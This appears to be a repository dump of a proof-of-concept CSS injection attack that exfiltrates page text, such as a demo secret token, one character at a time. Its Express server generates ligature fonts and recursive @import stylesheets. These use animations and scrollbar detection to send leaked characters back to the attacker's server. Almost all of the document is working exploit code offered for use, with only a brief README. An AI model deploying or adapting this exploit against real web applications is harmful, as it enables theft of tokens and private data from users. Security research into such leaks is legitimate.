├── README.md
├── index.html
├── index.js
├── package.json
└── script.fontforge
/README.md:
--------------------------------------------------------------------------------
1 | # PoC: Leak text nodes via CSS injection
2 |
3 | Disclaimer: this is just a poc, code is super bad, don't install it on a plane! (or do it under your own risk)
4 |
5 | ## How it works
6 |
7 | (... at some point I might write something, for now look at the source)
8 |
9 | For reading attributes see: https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231
10 |
11 | ## Video
12 |
13 | https://www.youtube.com/watch?v=aQ6V2pdfgmg
14 |
15 | ## References
16 | - http://p42.us/css/
17 | - https://www.slideshare.net/x00mario/stealing-the-pie
18 | - http://sirdarckcat.blogspot.com/2013/09/matryoshka-wrapping-overflow-leak-on.html
19 | - https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
20 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | css pow4h
4 |
15 |
16 |
17 | nothing bad happening here, keep calm and enjoy the style :)
18 |
19 |
20 |
21 |
"sup3r.s3cret.token"
22 |
(the secret is a text node)
23 |
24 |
25 |
26 |
start
27 |
28 |
29 | // This is the only HTML injected, all logic is server-side
30 |
31 |
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const js2xmlparser = require('js2xmlparser');
3 | const fs = require('fs');
4 | const tmp = require('tmp');
5 | const rimraf = require('rimraf');
6 | const child_process = require('child_process');
7 |
8 | const app = express();
9 | app.disable('etag');
10 |
11 | // Config
12 | const PORT = 3001;
13 | const HOSTNAME = "http://leaking.localhost.net:" + PORT;
14 | const CHARSET = ".0123456789abcdefghijklmnopqrstuvwxyz"
15 | const PREFIX = '"';
16 | const LOG = 4;
17 | const DEBUG = true;
18 | const DELAY = '0.5s';
19 | const DURATION = '1.5s';
20 | const WIDTH = '140px';
21 | const DEL = '_';
22 |
23 | // thanks to @SecurityMB:
24 | // https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
25 | function createFont(prefix, charsToLigature) {
26 | let font = {
27 | "defs": {
28 | "font": {
29 | "@": {
30 | "id": "hack",
31 | "horiz-adv-x": "0"
32 | },
33 | "font-face": {
34 | "@": {
35 | "font-family": "hack",
36 | "units-per-em": "1000"
37 | }
38 | },
39 | "glyph": []
40 | }
41 | }
42 | };
43 |
44 | let glyphs = font.defs.font.glyph;
45 | for (let c = 0x20; c <= 0x7e; c += 1) {
46 | const glyph = {
47 | "@": {
48 | "unicode": String.fromCharCode(c),
49 | "horiz-adv-x": "0",
50 | "d": "M1 0z",
51 | }
52 | };
53 | glyphs.push(glyph);
54 | }
55 |
56 | charsToLigature.forEach(c => {
57 | const glyph = {
58 | "@": {
59 | "unicode": prefix + c,
60 | "horiz-adv-x": "20000",
61 | "d": "M1 0z",
62 | }
63 | }
64 | glyphs.push(glyph);
65 | });
66 |
67 | const xml = js2xmlparser.parse("svg", font);
68 |
69 | const tmpobj = tmp.dirSync();
70 | fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
71 | child_process.spawnSync("/usr/bin/fontforge", [
72 | `${__dirname}/script.fontforge`,
73 | `${tmpobj.name}/font.svg`
74 | ]);
75 |
76 | const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
77 |
78 | rimraf.sync(tmpobj.name);
79 |
80 | return woff;
81 | }
82 |
83 | // Utils
84 |
85 | const encode = e => encodeURIComponent(e).replace(/\./g,'%252E');
86 |
87 | function log() {
88 | if (DEBUG) console.log.apply(console, arguments);
89 | }
90 |
91 | function split(str, n=2) {
92 | return str.match(new RegExp('.{1,'+(Math.ceil(str.length/n))+'}','g'));
93 | }
94 |
95 | // CSS generation
96 |
97 | // define fonts with src to on-the-fly ligature generation
98 | function genFontFacesCSS (prefix, input, chars) {
99 | return `@font-face{font-family:empty;src:url(${HOSTNAME}/font/${encode(prefix+input)}/%C2%AC)}` + split(chars, LOG).map((c,i) => `@font-face{font-family:"hack_${input+"_"+c+"_"+i}";src:url(${HOSTNAME}/font/${encode(prefix+input)}/${encode(c)})}`).join('')+'\n';
100 | };
101 |
102 | // use animation to iterate over a bunch of different fonts, only leak if one matches (i.e. triggers the scrollbar)
103 | function genAnimation (chars, input, ttl) {
104 | let chunks = split(chars, LOG);
105 | let delta = Math.floor(100 / chunks.length / 2);
106 | return `@keyframes wololo_${n} {\n` +
107 | chunks.map((e,i) => {
108 | return `${delta*i*2}%{font-family:empty;--x:0}\n` +
109 | `${delta*(i*2+1)}%{font-family:"hack_${input+"_"+e+"_"+i}";--x:url(${HOSTNAME}/leak?ttl=${ttl}&pre=${encode(input)}&chars=${encode(e)});}\n`;
110 | }).join('') +
111 | `100%{font-family:empty;--x:0}\n` +
112 | `}\n`;
113 | };
114 |
115 | // basic setup for scrollbar detection
116 | function genInjection (selector='.foo', iterations=0, width='450px', delay='1s', duration='5s') {
117 | return `${'div '.repeat(iterations) + (iterations?'>':'') + selector}{
118 | overflow-x: auto;
119 | width: ${width};
120 | animation-duration: ${duration};
121 | animation-delay: ${delay};
122 | font-family: empty;
123 | background: lightblue;
124 | animation-name: wololo_${n};
125 | }
126 | ${'div '.repeat(iterations) + (iterations?'>':'') + selector}::-webkit-scrollbar {
127 | background: blue;
128 | }
129 | ${'div '.repeat(iterations) + (iterations?'>':'') + selector}::-webkit-scrollbar:horizontal {
130 | background:var(--x);
131 | }`;
132 | };
133 |
134 | // generate next payload
135 | function genResponse (res, ttl, chars) {
136 | console.log('...payload ('+ n +'): ' + split(chars, LOG));
137 | var css =
138 | '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n\n' +
139 | genFontFacesCSS(PREFIX, input, chars) +
140 | genAnimation(chars, input, ttl) +
141 | genInjection('#leakme', n, WIDTH, DELAY, DURATION);
142 | res.set({
143 | //'Cache-Control': 'public, max-age=600',
144 | 'Content-Type': 'text/css',
145 | });
146 | res.end(css);
147 | n = n + 1;
148 | }
149 |
150 | // Router & CSS recursive import logic
151 |
152 | var pending = [], ready = 0, n = 0, input = "", ttl = 0;
153 |
154 | app.get("/font/:prefix/:charsToLigature", (req, res) => {
155 | const { prefix, charsToLigature } = req.params;
156 | res.set({
157 | 'Cache-Control': 'public, max-age=600',
158 | 'Content-Type': 'application/x-font-woff',
159 | 'Access-Control-Allow-Origin': '*',
160 | });
161 | res.end(createFont(decodeURIComponent(prefix), Array.from(decodeURIComponent(charsToLigature))));
162 | });
163 |
164 | // first request, reset everything
165 | app.get("/start", (req, res) => {
166 | log("===============================");
167 | ready = 0;
168 | n = 0;
169 | pending = [];
170 | chars = CHARSET;
171 | input = "";
172 | ttl = 0;
173 | genResponse(res, ttl, chars);
174 | });
175 |
176 | // only keep first response, loop until we get 1 char, then mark as ready or send payload
177 | app.get("/leak", (req, res) => {
178 | res.sendStatus(200).end();
179 | req.query.ttl = parseInt(req.query.ttl, 10);
180 | req.query.pre = decodeURIComponent(req.query.pre);
181 | req.query.chars = decodeURIComponent(req.query.chars);
182 | if (req.query.chars && req.query.ttl >= ttl) {
183 | ttl = ttl + 1;
184 | if (req.query.chars.length === 1) {
185 | input += req.query.chars;
186 | chars = CHARSET; // prepare next binary search
187 | } else {
188 | chars = req.query.chars; // keep binary search
189 | }
190 | console.log('recv: %s', input);
191 | } else {
192 | return;
193 | }
194 | if (ready == 1) {
195 | genResponse(pending.shift(), ttl, chars);
196 | ready = 0;
197 | } else {
198 | ready++;
199 | log('\tleak: waiting others...');
200 | }
201 | });
202 |
203 | // send next payload when ready
204 | app.get("/next", (req, res) => {
205 | if (ready == 1) {
206 | genResponse(res, ttl, chars);
207 | ready = 0;
208 | } else {
209 | pending.push(res);
210 | ready++;
211 | log('\tquery: waiting others...');
212 | }
213 | });
214 |
215 | app.get('/index.html', (req, res) => {
216 | res.sendFile('index.html', {
217 | root: '.'
218 | });
219 | });
220 |
221 | app.listen(PORT, () => {
222 | console.log(`Listening on ${PORT}...`);
223 | })
224 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "css-attack-3",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.15.5",
13 | "js-cookie": "^2.1.4",
14 | "js2xmlparser": "^3.0.0",
15 | "rimraf": "^2.6.2",
16 | "tmp": "0.0.33"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/script.fontforge:
--------------------------------------------------------------------------------
1 | #!/usr/bin/fontforge
2 | Open($1)
3 | Generate($1:r + ".woff")
4 |
--------------------------------------------------------------------------------